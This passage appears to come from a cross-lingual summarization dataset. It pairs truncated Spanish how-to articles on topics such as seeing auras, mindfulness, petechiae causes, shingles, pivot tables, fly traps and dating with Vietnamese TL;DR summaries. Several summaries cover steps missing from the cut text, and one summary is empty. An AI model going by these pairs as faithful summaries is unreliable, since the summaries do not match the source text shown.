el libro. No te enfoques en el libro, en su lugar mira un poco al costado y más allá de él. Después de un rato verás un aura pálida y angosta surgiendo del libro, que cambiará a un amarillo o verde brillante mientras sostienes un enfoque suave.  Cuando te sientas cómodo mirando a un libro, intenta cubrir varios libros con papeles de diferentes colores y mirarlos. A medida que mejores viendo colores, avanza usando plantas, animales y luego gente.     Está bien pestañear normal y rápidamente mientras haces este ejercicio. El aura puede desaparecer por un segundo cuando lo hagas, pero reaparecerá rápidamente si permaneces relajado y...

TL;DR in Vietnamese:

Bắt đầu bằng cảm nhận. Phát triển tầm nhìn ngoại vi. Điều chỉnh màu sắc. Học cách quan sát. Tự luyện tập một mình.


Una buena manera de empezar a evaluar tu situación actual y de encontrar paz mental es comenzando a escribir un diario. Esta es una manera eficaz de guiarte por medio de la introspección y de averiguar lo que podría estar alejándote de la paz mental. Cuando escribas en tu diario, incluye los pensamientos y sentimientos que tengas con respecto a tu vida cotidiana. Para ayudarte a encontrar paz, piensa en lo que significa más para ti  y lo que te mantiene en el presente y feliz en este momento, como la sabiduría o la creatividad. Para ayudarte a encontrar lo que te importa y para encontrar paz mental, debes escribir acerca de temas como la gratitud, el propósito o el significado. La plenitud mental puede darte paz mental al hacerte tomar conciencia del presente. Tu paz mental puede verse interrumpida por tus preocupaciones por el futuro o puede verse atrapada en el pasado. La plenitud mental significa tomar conciencia de tus pensamientos, alrededores y sentimientos actuales sin juzgarlos. La plenitud mental también puede disminuir tus niveles de estrés y presión arterial, lo cual puede ayudarte a producir una sensación de calma en tu cuerpo. Practicar la plenitud mental también puede ayudarte a controlar tus emociones y a adecuarte a situaciones estresantes o difíciles.  La práctica de la plenitud mental te permite crear conexiones nerviosas y altera físicamente la estructura de tu cerebro, lo cual puede ayudarte a adecuarte a tu nueva forma de pensar para promover la paz mental.  Para hacer un ejercicio de plenitud mental, siéntate con comodidad y concéntrate en tu respiración. Cuando respires, evalúa lo que percibes con tus cinco sentidos. Tu mente puede divagar, pero intenta concentrarte en el presente y en lo que te rodea. . Puede ser difícil conseguir paz mental si todavía sufres por acontecimientos pasados. Los acontecimientos traumáticos del pasado que te causan una crisis emocional con seguridad harán que sientas como si nunca tuvieras paz. Los acontecimientos pasados pueden ser abusos emocionales,...

TL;DR in Vietnamese:

Viết nhật ký. Luyện tập chánh niệm. Quên đi quá khứ


Una buena postura te ayudará a mantener una voz grave y autoritaria. En lugar de dejar que tu cabeza caiga o se vaya de costado mientras hablas, debes tratar de mantenerla derecha y tu barbilla levantada. La postura es importante para lograr una buena voz. Un truco para alcanzar una voz más grave es hacer un movimiento de tragar justo antes de hablar. En realidad no tienes que tragar nada. Imagina que estás tragando algo y luego di las palabras. Tu voz debe estar ligeramente más grave que de costumbre. Trata de hablar más lento que de costumbre. Baja tu voz al principio de una oración y luego habla lentamente. Si te das cuenta que deseas hablar más rápido, ten en cuenta que podría aumentar el tono de tu voz. Esta práctica puede dañar tus cuerdas vocales. También podría ser un síntoma de una condición médica, como la faringitis estreptocócica.  Evita fumar. Si bien fumar te puede dar una voz rasposa o áspera, le causará daño a largo plazo a tu salud, incluyendo las cuerdas vocales y los pulmones.  Si tienes una voz rasposa que no se va, debes buscar atención médica.

TL;DR in Vietnamese:

Giữ cằm hướng lên trên. Nuốt trước khi nói. Nói chậm rãi. Tránh giọng nói lớn hoặc cáu kỉnh.


Una buena presentación no se debe improvisar. Pasa tiempo ensayándola antes de que la lleves a cabo. Depender de las notas en el escenario puede distraer a la audiencia. En vez de eso, asegúrate de saber las palabras y de que puedas decirlas sin problema. La presentación debe ser fluida y enérgica. Puedes practicar la presentación de varias maneras, como grabándote o diciéndola frente a personas que conozcas.  Si tienes miedo escénico, trata de recitar la presentación mientras te miras al espejo. Cuando te sientas cómodo, ensáyala enfrente de familiares y de amigos. Grabar la presentación es una manera simple de escucharte mientras estás solo. Reprodúcela de nuevo y trata de identificar las cosas que debas mejorar. Mientras esperes por el momento, pensarás en repasar la presentación nuevamente. Algunos ensayos son aceptables. Evita agotarte con los varios ensayos y con la memorización. Trata de ganar confianza con la practica y de mostrar entusiasmo con respecto al orador invitado. Esto impedirá que la presentación parezca practicada. Decir tu nombre y tu título es útil si alguien en la sala no te conoce. Mantén esta línea breve para que puedas hacer el resto de la presentación. Recuerda que tu trabajo es preparar el escenario para el orador invitado, así que no hay necesidad de una explicación larga acerca de quién eres. Si alguien te presentó previamente, puedes omitir este paso.  Di “Buenas tardes. Mi nombre es Alejandro Matos y soy el organizador de este evento”. Si todos te conocen, como en el caso de un profesor que presenta a un orador a la clase, no necesitas presentarte. Debido a que has practicado, estarás listo para recitar la presentación con entusiasmo. Mantén alto el nivel de energía. Párate derecho. Aumenta el nivel de energía a medida que lleves a cabo la presentación subiendo un poco el tono de voz y ganando autoridad. Recuerda cómo quieres que suene la presentación si estuvieras en la audiencia. Debes tratar de que la gente se sienta inspirada a prestar atención al orador invitado. Muchos...

TL;DR in Vietnamese:

Thực hành phần giới thiệu. Thỉnh thoảng diễn tập giới thiệu trước khi lên sân khấu. Giới thiệu bản thân khi bạn bắt đầu. Thể hiện sự nhiệt tình khi nói. Nói to và rõ. Dẫn dắt tiếng vỗ tay. Quay người về phía diễn giả khi họ tiếp cận. Bắt tay diễn giả.


Una búsqueda en Internet te ayudará a ubicar el club o la playa nudista más cercana. Una vez que estés a gusto estando desnudo en casa, toma el siguiente paso y visita una comunidad nudista. Asegúrate de conocer las reglas y expectativas de la comunidad antes de ir.  No dejes que los sentimientos de inferioridad te estorben. Una vez que vayas a una comunidad nudista, te darás cuenta de que todos son diferentes en alguna manera y que nada es malo. Los visitantes no están preocupados por sus cuerpo (ni el tuyo), solo están allí para disfrutar el placer del nudismo en un ambiente amigable. Algunas comunidades nudistas promueven el sexo. Analiza si es algo que quieres experimentar antes de ir. Participa en foros en línea. Estos pueden ser grandes recursos para quienes quieren hablar de la vida de un nudista e intercambiar información sobre buenos destinos para practicarlo. Francia es un excelente destino, famosa por sus playas nudistas. Si te parece muy lejos, cerca de casa podrás encontrar resorts de ropa opcional, aguas termales naturales para bañarse sin ropa y lugares especiales para andar desnudo. Averigua las leyes locales para hacer topless en público, incluidos los parques, las piscinas y la playa. Asimismo, puedes participar en uno de los circuitos de ciclismo nudistas que se llevan a cabo por todo el mundo. Ve desnudo donde sea apropiado, a hacer caminatas, a reservas naturales. Siéntete a gusto contigo mismo y procura practicar el nudismo siempre y cuando no afectes a los demás.

TL;DR in Vietnamese:

Xác định vị trí cộng đồng theo chủ nghĩa khỏa thân. Tận hưởng kỳ nghỉ khỏa thân. Khỏa thân bất cứ khi nào có thể.


Una causa de las petequias es hacer demasiado esfuerzo por un tiempo prolongado. Por ejemplo, un ataque de tos o un episodio muy emocional de llanto puede conducir a las petequias. También puedes contraer las petequias al vomitar o al levantar pesas. También es un síntoma común tenerlas después de haber dado a luz. Algunos medicamentos pueden ser la causa de las petequias. Por ejemplo, los anticoagulantes como la warfarina y la heparina pueden causar las petequias. De igual manera, los medicamentos de la familia del naproxeno, como Aleve, Anaprox y Naprosyn también pueden causar las petequias.  Algunas otros medicamentos que pueden causar las petequias incluyen la quinina, la penicilina, la nitrofurantoína, la carbamazepina, la desipramina, la indometacina y la atropina.  Si crees que alguno de tus medicamentos hace que tengas petequias, habla con tu doctor. Él puede evaluar si necesitas realmente ese medicamento o si puedes cambiarlo por algún otro. Las enfermedades infecciosas específicas también pueden conducir a este problema. La causa de las petequias puede ser desde una infección bacteriana hasta una infección fúngica, como la mononucleosis, la escarlatina, la amigdalitis estreptocócica o la meningococemia. Otras enfermedades también pueden causar las petequias (por ejemplo, la leucemia). También pueden ser el resultado de una deficiencia de vitamina C (también conocida como escorbuto) o de vitamina K. Vale la pena tomar en cuenta que algunos tratamientos, como la quimioterapia, también pueden ocasionar las petequias. La enfermedad hace que tengas problemas de coagulación. Esto es consecuencia de la disminución de plaquetas, las cuales se encuentran en la sangre. Esta enfermedad puede conducir a las petequias y a la púrpura, ya que las plaquetas generalmente cubren cualquier desgarro pequeño en los vasos sanguíneos. Cuando no tienes las plaquetas necesarias, tu sangre no puede reparar adecuadamente los vasos sanguíneos, lo que conduce a una hemorragia debajo de la piel. Eso puede hacer que aparezcan las...

TL;DR in Vietnamese:

Xác định các nguyên nhân nhỏ. Kiểm tra thuốc chữa bệnh. Kiểm tra các căn bệnh truyền nhiễm. Nhận biết các căn bệnh hay tình trạng thiếu hụt khác. Tiến hành chẩn đoán để phát hiện bệnh lý xuất huyết giảm tiểu cầu vô căn.


Una cuadrícula de tres por tres está hecha de dos líneas paralelas que se intersectan con otras dos líneas de forma perpendicular. Las líneas forman tres filas y tres columnas y la figura final se asemeja al botón de número (#) de un teléfono o teclado. Escribe el primer número en el cuadrado superior central de la cuadrícula. Escribe el segundo número en el cuadrado superior derecho de la cuadrícula. Por ejemplo, si tratas de encontrar el mínimo común múltiplo de 18 y 30, escribe 18 en la parte superior central de tu cuadrícula y 30 en la parte superior derecha. Escribe este número en el cuadrado superior izquierdo de tu cuadrícula. Es útil utilizar factores primos, pero no necesariamente tiene que ser así.  Por ejemplo, dado que 18 y 30 son números pares, sabrás que tienen el factor 2. Por lo tanto, escribe 2 en la parte superior izquierda de la cuadrícula. Escribe el cociente en el cuadrado que está debajo de cada número. Un cociente es la respuesta de una división.   Por ejemplo, 18÷2=9{\displaystyle 18\div 2=9}; por lo tanto, escribe 9 debajo de 18 en la cuadrícula.  30÷2=15{\displaystyle 30\div 2=15}; por lo tanto, escribe 15 debajo de 30 en la cuadrícula. Si no hay un factor común a ambos cocientes, puedes omitir este paso y el siguiente. Si hay un factor común, escríbelo en el cuadrado medio izquierdo de la cuadrícula.  Por ejemplo, 9 y 15 tienen el factor 3; por lo tanto, escribirías 3 en la parte media izquierda de la cuadrícula. Escribe el nuevo cociente debajo de los primeros.   Por ejemplo, 9÷3=3{\displaystyle 9\div 3=3}; por lo tanto, escribe 3 debajo de 9 en la cuadrícula.  15÷3=5{\displaystyle 15\div 3=5}; por lo tanto, escribe 5 debajo de 15 en la cuadrícula. Sigue este mismo proceso hasta que llegues a un punto en el que el último grupo de cocientes ya no tenga un factor común. Piensa en ello como si dibujaras una “L” para el “mínimo común múltiplo”. Escribe una multiplicación usando todos estos factores. Por ejemplo, dado que 2 y 3 están en la primera columna y que 3 y 5 están en la última...

TL;DR in Vietnamese:

Vẽ một lưới caro. Tìm nhân tử chung nào đó của cả hai số. Lấy từng số chia cho nhân tử vừa tìm được và viết thương vào ô bên dưới. Tìm nhân tử chung của hai thương. Lấy thương chia cho nhân tử chung này. Mở rộng lưới nếu cần. Khoanh tròn các số nằm trên cột đầu và dòng cuối của lưới, tạo thành một chữ “L”. Hoàn thành phép nhân.


Una de cinco personas con culebrilla tendrá neuralgia posherpética. Puedes tenerla si experimentas un dolor intenso en la misma área en la que apareció la erupción de la culebrilla. Puede durar semanas o meses. Algunas personas pueden experimentar los síntomas por años.  Mientras más años tengas, más probable será que desarrolles neuralgia posherpética.  Si experimentas dolor cuando las cosas tocan tu piel (por ejemplo, ropa, viento o personas), puedes tener neuralgia posherpética. Si esperas mucho tiempo para buscar tratamiento, puedes ser más propenso a desarrollar neuralgia posherpética. Si bien la neuralgia posherpética es la complicación más común, hay otras complicaciones como neumonía, problemas auditivos, ceguera, inflamación cerebral (encefalitis) o muerte. Las cicatrices, la infección bacteriana de la piel y la debilidad muscular local también son posibles complicaciones. Si crees que sufres de neuralgia posherpética o de otras complicaciones de la culebrilla, debes visitar a un médico. Este podrá elaborar un plan de tratamiento para controlar las complicaciones. El plan de tratamiento se centrará en controlar el dolor crónico.  El plan de tratamiento puede incluir agentes tópicos como lidocaína, analgésicos como oxicodona, anticonvulsivos como gabapentina (Neurontin) o pregabalina (Lyrica) o intervenciones psicosociales. Muchas personas pueden experimentar depresión u otros problemas de salud mental al lidiar con el dolor crónico. El médico puede prescribirte antidepresivos o recomendar que recibas terapia cognitivo conductual. Esta terapia puede incluir técnicas de relajación o hipnosis. Ambas técnicas son efectivas para controlar el dolor crónico. Si tienes 60 o más, debes ponerte la vacuna contra la culebrilla. Aunque hayas tenido este trastorno antes, de todas formas debes ponerte la vacuna. Puedes ponértela en el consultorio de un médico o en la farmacia.  La vacuna contra la culebrilla debe estar cubierta por los planes de la parte D de Medicare o por un seguro privado de salud.  Debes...

TL;DR in Vietnamese:

Nhận biết chứng đau dây thần kinh sau zona. Cẩn thận trước biến chứng. Tìm kiếm chữa trị y tế. Tiêm vắc-xin ngừa bệnh giời leo. Chăm sóc sức khỏe tổng thể của bạn.


Una de las características principales de la tabla dinámica es la capacidad de organizar los resultados y ver reportes dinámicos. Puedes ordenar y filtrar cada etiqueta haciendo clic en el botón de la flecha que se encuentra junto a su encabezado. Después podrás organizar la lista o filtrarla para que muestre algunos datos específicos. La tabla dinámica se actualizará automáticamente cuando modifiques la hoja de cálculo de origen. Esta característica es excelente para supervisar las hojas de cálculo y hacerle seguimiento a los cambios. Es increíblemente fácil cambiar la ubicación y el orden de los campos de una tabla dinámica. Prueba a arrastrar los campos a áreas diferentes para crear una tabla dinámica que se ajuste precisamente a tus necesidades. El nombre de "tabla dinámica" proviene de esta característica. Mover la información a lugares diferentes se conoce como "dinamizar", ya que cambias el orden en el que se muestran los datos. Puedes crear una gráfica dinámica que muestre un reporte visual que se actualice automáticamente a partir de una tabla dinámica completa, lo cual hace que el proceso de crear gráficos sea muy rápido.

TL;DR in Vietnamese:

Sắp xếp và lọc kết quả. Cập nhật bảng tính. Thay đổi pivot table. Tạo Pivot Chart.


Una de las causas más comunes de eyaculación precoz en hombres son los nervios y la ansiedad por la calidad de su desempeño. Lo mejor que puedes hacer es relajarte y concentrarte en disfrutar el contacto con tu pareja. Recuerda que la intimidad es tan importante como el placer en el sexo y el buen sexo se debe más a la química que al vigor o la habilidad que tengas. Si ves que te estresas o distraes, respira hondo y tómate un momento para reconectarte con tu pareja. El método más común que los hombres y algunas mujeres usan para demorar su orgasmo es pensando en cosas triviales durante el sexo. No pienses tanto en el placer que sientes y trata de resolver problemas matemáticos básicos en tu mente hasta que estés listo para llegar al clímax.  Evita pensar en temas o imágenes estresantes o desagradables. Estos pueden hacer que pierdas la excitación en vez de prolongarla. Más bien, trata de pensar en algo más abstracto, como formas geométricas o la letra de tu canción favorita. No prolongues tu vigor a costa de disfrutar con tu pareja. Una sesión sexual demasiado larga puede ser aburrida para ambos si te pasas todo el rato en las nubes. Usa esta técnica con moderación y enfócate más en interactuar con tu pareja.

TL;DR in Vietnamese:


Una de las causas más comunes por las que salen callosidades es el mal calzado que se usa. Si tus zapatos no te quedan bien, es más fácil que te salgan callos, así que consíguete unos que te queden bien. Deben quedarte ajustados (pero no lastimarte) y deben ser del ancho de tus pies. Evita los tacones siempre que puedas. Los tacones hacen que pongas todo tu peso sobre la bola de tus pies: la receta para que te aparezcan callos. Usa zapatos planos siempre que puedas, además son más cómodos.Si la callosidad está en tus manos, usa guantes acolchados cómodos de llevar. Así aliviarán y reducirán el problema. Asegúrate de que los guantes te queden bien, porque los guantes holgados harán lo contrario e irritarán más tu piel debido a la constante fricción que producen. Las callosidades, las durezas y los juanetes no son un fenómeno nuevo. Por eso, una gran cantidad de compañías ha comenzado a sacar líneas de calzado diseñadas para eliminarlos. Muchos están hechos de molesquín y se adaptan fácilmente a los pies, a la forma de las tiras o a los parches. Para las durezas, usa parches en forma de rosquilla. Estos parches se ponen sobre la dureza y disminuyen la presión, el roce y la fricción. Son económicos y fáciles de encontrar en cualquier tienda o farmacia. No tienes que ir necesariamente al médico para encontrar la solución que alivie el problema: los parches, esparadrapos y demás se venden sin receta médica fácilmente. Sin embargo, muchos de estos contienen ácido salicílico, uno de los componentes activos, que puede causar una irritación o infección más molesta (o grave) que el problema que estabas tratando de solucionar al principio. Si sufres alguna de las siguientes afecciones, es mejor evitarlos:  Si tienes diabetes. Si has perdido sensación en los pies, ya sea por problemas de circulación o por daños neurológicos. Si tienes mala visión o flexibilidad y no puedes usar el producto de manera adecuada.

TL;DR in Vietnamese:

Thay đổi giày dép. Lót giày. Tìm mua dung dịch thuốc và miếng lót.


Una de las claves para hacer que el beso sea especial y mágico es besar a esa persona en un ambiente que consideres romántico. Este no tiene que ser algo típico de una escena romántica, como un coche tirado por caballos, pero puede ser algo que sientas que es agradable y mágico. Piensa en algún lugar especial en el que hayan estado antes o en algún lugar que creas que es romántico. Planea besar a tu pareja en uno de estos lugares.  Algunos lugares románticos son un parque con un lago o estanque, la esquina aislada de un restaurante, la playa, bajo las estrellas, lo alto de un edificio con una gran vista, entre otros. Muchas veces los mejores besos se dan en lugares aislados y tranquilos, para que nada los distraiga. No obstante, puedes besar a tu pareja en un lugar que no sea así si todavía sientes que sería significativo. Puedes besar a alguien en cualquier lugar, pero para hacer que sea valioso, es útil planear una cita significativa para fijar la escena para el beso. Como se mencionó previamente, elige un lugar romántico y planea una cita que tanto tú como tu pareja disfruten realmente. Tal vez las rosas y velas no sean románticas para ustedes, pero sí les gusten los eventos deportivos. Planea tu cita basada en lo que crees que sería más agradable. Durante el tiempo en que estén juntos, se necesitará que haya un tiempo en que sea apropiado acercarte a la persona que amas. Si están haciendo algo donde siempre se sientan interrumpidos, es posible que no sea el mejor lugar para darse un beso. Planea una cita donde puedas estar cerca y tener un tiempo a solas con esa persona. Los momentos más románticos en una relación también pueden ser los más significativos, por ejemplo, el haber planeado una cita o haberle dado un regalo a alguien porque significa mucho para él o ella. No optes por una clásica “cita romántica”, sino por algo divertido y diferente. Lleva a esa persona al lugar en que se conocieron por primera vez o a donde te diste cuenta de que la amabas.  Por ejemplo, si ustedes son una pareja que está...

TL;DR in Vietnamese:

Chọn một địa điểm. Lên kế hoạch hẹn hò đặc biệt. Làm mối quan hệ trở nên độc đáo. Để lại gợi ý suốt cả tuần. Hãy chủ động.


Una de las cosas agradables que puedes hacer por tu hermano es ofrecerte a ayudarlo con su tarea y su trabajo escolar. Si tiene una exposición oral pronto, ofrécete a escuchar su presentación. Si tiene dificultades con un deber de matemática, siéntate con él y ayúdale a resolverlo. Enfócate en las maneras prácticas de ayudarlo a que termine al ofrecerle tu conocimiento en una asignatura en particular o al solo darle una mano de modo que termine su proyecto puntualmente. De igual forma, puedes ofrecerte a ayudarle a completar sus quehaceres en la casa o dividirlos con él si trabaja en un trabajo escolar con un plazo de entrega. Quizás, tu hermano tendrá una presentación o un gran evento deportivo. Esfuérzate por estar en la audiencia y anímalo desde las tribunas. Asistir a sus eventos especiales será un acto agradable que puedes hacer por él como una manera para demostrarle tu apoyo como hermano o hermana mayor. Como su hermano o hermana mayor, debes vigilarlo y defenderlo si se mete en unas situaciones incómodas o delicadas. Podrías tener que confrontar al estudiante agresivo que le hace bullying si comienza a molestarlo o ser el mediador de una pelea entre tus padres y él. Trata de permanecer de su lado y esforzarte con él para resolver los problemas que tenga con otras personas. Cuidar sus espaldas le demostrará que estás dispuesto a ponerte a su disposición y a apoyarlo. Un buen hermano o una buena hermana mayor actúa como el campeón de su hermano y lo alienta a que sea lo mejor que puede ser. Nota las habilidades y los talentos de tu hermano y luego esfuérzate activamente para ayudarlo a desarrollarlos y mejorarlos. Por ejemplo, si demuestra un interés en la pintura, podrías alentarlo a que tome unas clases de pintura o acondicionarle un estudio de pintura en casa. Por ejemplo, si te comparte un objetivo personal, como el deseo de ir a una universidad del grupo de ocho universidades privadas de Nueva Inglaterra, debes esforzarte con él para ayudarle a lograr su objetivo. Esto podría significar ayudarle...

TL;DR in Vietnamese:

Giúp em làm bài tập về nhà và những nhiệm vụ khác. Tham gia sự kiện hoặc buổi biểu diễn của em. Đứng về phía em trong những tình huống khó xử. Khuyến khích em theo đuổi sở thích và mục tiêu của mình.


Una de las maneras más efectivas de atrapar a una mosca es utilizando una botella de plástico.   Destapa la botella. Luego, utiliza un par de tijeras para perforar el plástico y cortar la cuarta parte de encima de la botella. Llena parte de la botella con ¼ de taza (60 ml) de azúcar, ¼ de taza (60 ml) de agua y unas cuantas gotas de colorante alimentario azul. El color azul ayudará a atraer las moscas. Sin embargo, casi cualquier colorante servirá o incluso ningún colorante, con tal de que no utilices nada amarillo. El amarillo es el único color que repele a las moscas. Otra opción es que mezcles un poco de agua con jabón para platos y algunas gotas de vinagre de manzana para atraer las moscas. Agarra la parte superior de la botella que cortaste, dale la vuelta y colócala sobre el resto de la botella para formar un embudo. Así las moscas entrarán con facilidad a la botella, pero tendrán mucha dificultad para salir. Coloca la trampa para moscas en un lugar soleado donde veas varias y espera a que entren a la botella. Si no tienes botellas plásticas a mano, puedes hacer otra trampa para moscas con un frasco de vidrio (aunque también puedes usar un vaso) y film transparente.  Agarra el frasco de vidrio y llénalo casi por completo con un agua azucarada o azúcar disuelta en vinagre de manzana mezclado con un chorrito de jabón para platos. Corta un cuadrado de film transparente y colócalo en la boca del frasco de vidrio para taparlo. Luego asegúralo con una bandita elástica si está demasiado suelto. Haz un agujero en el centro del film transparente con un bolígrafo o con unas tijeras. Así las moscas podrán entrar al frasco, pero se ahogarán en el líquido una vez que estén dentro.  Coloca la trampa para moscas en un lugar soleado, que esté al aire libre, o en un lugar donde veas que hay muchas moscas. Este papel contiene un pegamento muy fuerte y lo puedes colocar en cualquier parte de tu casa para atrapar a las moscas sin ningún esfuerzo. Este papel está cubierto con una sustancia dulce y pegajosa (a veces tóxica)...

TL;DR in Vietnamese:

Làm bẫy ruồi bằng chai nhựa. Làm bẫy ruồi bằng lọ thủy tinh và màng bọc thực phẩm. Dùng giấy bẫy ruồi. Tự làm giấy dính ruồi.


Una de las maneras más eficaces en las que puedes lidiar con una persona demasiado criticona es fomentar tus propios sentimientos positivos. No permitas que la persona criticona te haga sentir negativo. Muéstrale la manera de ser una persona más feliz y más positiva.  Si alguien critica todo lo que haces, dale una respuesta opuesta. Esto será de utilidad para mostrarle que no puede arrastrar a los demás hacia su negatividad. Si tu novia te reprende porque está en desacuerdo con sus creencias políticas, respóndele diciéndole algo como “¿No es maravilloso que vivamos en un país en el que tengamos derecho a opinar?”.  No intentes apaciguar a una persona negativa. Muchas personas negativas persisten en quejarse y podrían hablar de sus problemas de manera continua. Ellas podrían rehusarse a escuchar sobre cualquier posible solución. En situaciones como esta, interrumpe a la persona criticona. No la ayudarás si permites que se queje sin parar. Di algo como “No sé qué decirte, pero estoy seguro de que encontrarás la solución”. Luego sonríele y abandona la conversación. Es vital que te encargues de tu propia felicidad. Tendrás que esforzarte para disfrutar tu vida, incluso si vives con una persona negativa. Esfuérzate de manera consciente para mantenerte feliz a pesar de las circunstancias.  Adopta una actitud más positiva en torno a la vida. Esto puede ser difícil, en particular si afrontas una oleada de negatividad. No obstante, las personas suelen ser más felices si aceptan sus circunstancias, sean buenas o malas. Intenta pensar algo como “Es difícil vivir con esta persona, pero la vida es así. Sigo siendo yo mismo y aún puedo divertirme”.  Pasa un tiempo alejado si es necesario. Pasa unas horas al día fuera de casa. Sal solo con tus amigos un sábado por la noche. Pasa momentos y rodéate de personas que sean positivas y felices. Esto puede ser de utilidad para mantener un nivel de felicidad, incluso si vives con una persona demasiado criticona. Si las críticas son extremas, es probable que tengas que determinar si...

TL;DR in Vietnamese:

Làm gương. Duy trì sự hạnh phúc của riêng bạn. Kết thúc mối quan hệ nếu cần.


Una de las maneras más fáciles de personalizar la pintura es usando una plantilla. Coloca la plantilla sobre la piedra que quieras pintar, y pinta sobre ella. Las áreas cubiertas por la plantilla no se van a pintar, mientras que las descubiertas sí. El contraste entre las áreas pintadas y no pintadas le dará a la piedra un diseño claramente visible. Si vas a hacer piedras de concreto, puedes colocar objetos en el concreto. Cuando el concreto se seque, se endurecerá fijando a los objetos que colocaste en su lugar. Puedes colocar cosas como pequeñas piedras, curiosidades, pequeñas decoraciones de jardín, u objetos personales en el concreto. Cuando el concreto aún esté suave puedes usar un objeto para presionar la superficie. Esto dejará una huella. Es común hacerlo presionando tu mano en el concreto húmedo para crear una piedra que tenga la huella de tu mano.

TL;DR in Vietnamese:

Sử dụng khuôn bằng giấy nến để sơn đá. Đặt các vật trang trí hoặc các đồ vật nhỏ vào phiến đá bê tông. In hình vào phiến đá bê tông.


Una de las mejores maneras de hacer crecer tus cejas es absteniéndote de usar las pinzas hasta que tengas el grosor que deseas. Puede ser tentador depilar esos vellos, pero solo seguirás con tu forma de cejas actual si no las dejas que vuelvan a crecer. Tus cejas volverán a crecer de seis a ocho semanas, así que debes ser paciente. Si a tu dieta le faltan vitaminas y nutrientes que necesitas para mantener un cuerpo sano, esa podría ser una de las causas de la falta de crecimiento de tus cejas. Lleva una dieta rica en vitamina B, omega 3, hierro, proteínas y zinc, y siempre asegúrate de tomar suficiente agua. También puedes tomar un suplemento de vitamina B, como Biotin, para ayudar al crecimiento capilar. El aceite de oliva es rico en vitamina E y, por lo tanto, puede ayudar a estimular el crecimiento capilar. Mezcla ½ cucharadita de aceite de oliva con algunas gotas de miel. Masajea la mezcla en tus cejas algunos minutos. Deja la mezcla sobre tus cejas 30 minutos y después enjuágate con agua tibia. Si el hecho de esperar con impaciencia que tus cejas vuelvan a crecer con métodos naturales no ha dado ningún resultado, puedes usar el tratamiento del crecimiento capilar para estimular este tipo de crecimiento. Hay varios tratamientos de crecimiento capilar que puedes comprar para tus cejas, así que si buscas de forma adecuada, podrás encontrar uno que corresponda al grosor que deseas.  Se ha demostrado que algunos tratamientos de crecimiento funcionan mejor que otros. Si has dañado mucho tus cejas al depilarlas en exceso, es posible que tengas que invertir en un producto de alta calidad, como Latisse, Rogaine y Viviscal, que son tratamientos populares. No obstante, estos productos solo funcionan mientras los utilices continuamente. Asimismo, su eficacia solo se da en algunas personas, así que en ti podrían no surtir efecto Ten en cuenta que, aunque algunos tratamientos y sueros se colocan directamente sobre las cejas, otros se consumen. Aquellos que se consumen podrían ayudar al crecimiento capilar en tus...

TL;DR in Vietnamese:

Ngưng sử dụng nhíp. Đảm bảo bổ sung chất dinh dưỡng thích hợp. Pha hỗn hợp dầu ô liu và mật ong. Dùng sản phẩm kích thích mọc lông mày.


Una de las mejores maneras de resolver un problema o un error es identificar cómo resolviste los problemas o los errores similares en el pasado. Piensa de la siguiente manera: “He recordado cosas en el pasado, ¿cómo lo hice? Ah sí, las escribí en mi calendario y luego revisé el calendario varias veces al día”. Haz una lista de errores similares que hayas cometido. Identifica cómo lidiaste con cada error y qué beneficio obtuviste. Si no obtuviste ningún beneficio, entonces probablemente esto no funcionará. Piensa en todas las maneras posibles de corregir el error. En el ejemplo presente, hay muchas opciones: puedes limpiar el baño, disculparte, ofrecer limpiar otra parte de la casa, negociar, planear hacerlo al día siguiente, etc.  Usa tus habilidades para resolver problemas a fin de pensar en soluciones posibles para el problema actual. Crea una lista de ventajas y desventajas para cada solución posible. Por ejemplo, si identificaste que una solución posible para tu problema de olvidar limpiar el baño es asegurarte de limpiarlo al día siguiente, puedes hacer una lista de ventajas y desventajas de la siguiente manera: ventajas: en algún momento el baño estará limpio; desventajas: no estará limpio hoy, es probable que lo olvide mañana (no puedo estar del todo seguro de que lo haré), esto no resuelve mi problema de olvidar limpiar el baño. Tomando como base esta evaluación, si es posible, puede ser mejor que limpies el baño el mismo día y desarrollar un plan para recordar limpiarlo en el futuro. Para resolver el problema debes tener un plan. Identifica la mejor solución posible tomando como base el pasado y las opciones disponibles y comprométete a ponerla en marcha. Sigue hasta el final. Si haces la promesa de resolver el problema, cúmplela. Ser fiable es importante para desarrollar la confianza con otras personas y formar relaciones duraderas. Sin importar cuán infalible sea el plan, hay una posibilidad de que no resuelva el problema. Por ejemplo, puedes limpiar el baño, pero la persona que te pidió que lo...

TL;DR in Vietnamese:

Suy nghĩ về giải pháp mà bạn đã sử dụng trong quá khứ. Xem xét lựa chọn của bạn. Quyết định hành động mà bạn cần làm và tiến hành thực hiện nó. Đề ra kế hoạch dự phòng. Ngăn ngừa lỗi lầm trong tương lai.


Una de las partes más importantes de tener un novio es conocer a alguien con quien te gustaría salir. Antes de que salgas afuera para buscar chicos, tómate unos minutos para pensar en qué es lo que quieres. Haz una lista de las prioridades que buscas en un novio potencial.  Quizás los intereses comunes sean tu prioridad principal. Por ejemplo, ¿te gusta montar la bicicleta? Añade esta actividad como una prioridad, de manera que puedas encontrar a alguien que la disfrute también. También puedes añadir a la lista rasgos importantes de la personalidad (como honestidad, compasión y buen sentido del humor). Tus amigos y tus familiares pueden ser una buena fuente para tu búsqueda de alguien con quien salir. De hecho, la mayoría de las personas dicen que conocieron a sus parejas por medio de sus amigos y de sus familiares. Permite que tu red de amigos sepa que estás dispuesta a conocer nuevas personas.  Puedes decir "Isabel, estoy interesada en conocer a alguien. ¿Conoces a chicos disponibles que me puedan interesar?". Puedes decir "Helena, ese chico que se sienta a tu lado en la clase de Inglés parece agradable. ¿Puedes hablarle de mí y ver si se ve interesado?". Acepta invitaciones a reuniones. Nunca se sabe quién irá a la parrillada de la tía María. Si quieres desarrollar una imagen corporal positiva, quizás te sientas más cómoda al conocer personas a través de tu círculo. Después de todo, es poco probable que tu mejor amiga te presente a un patán que haga comentarios negativos de tu apariencia. Hoy en día, un gran porcentaje de relaciones empiezan en línea. Olvídate de los viejos prejuicios. Saca ventaja de la tecnología y sal afuera a conocer al hombre de tus sueños (o alguien con quien sea divertido salir).  Las citas en línea pueden ser una buena manera de empezar si te sientes insegura de tu apariencia. Por lo general, tendrás que publicar una foto. Esto es útil, ya que cualquiera que te aborde sabrá (y aceptará) cómo te ves. Siempre sé honesta en tu perfil. Por ejemplo, no publiques una foto de ti misma de...

TL;DR in Vietnamese:

Liệt kê các điểm ưu tiên. Sử dụng mạng lưới quan hệ của bạn. Sử dụng công nghệ. Tỏ ra thân thiện và hòa đồng. Sẵn sàng gặp gỡ người khác.


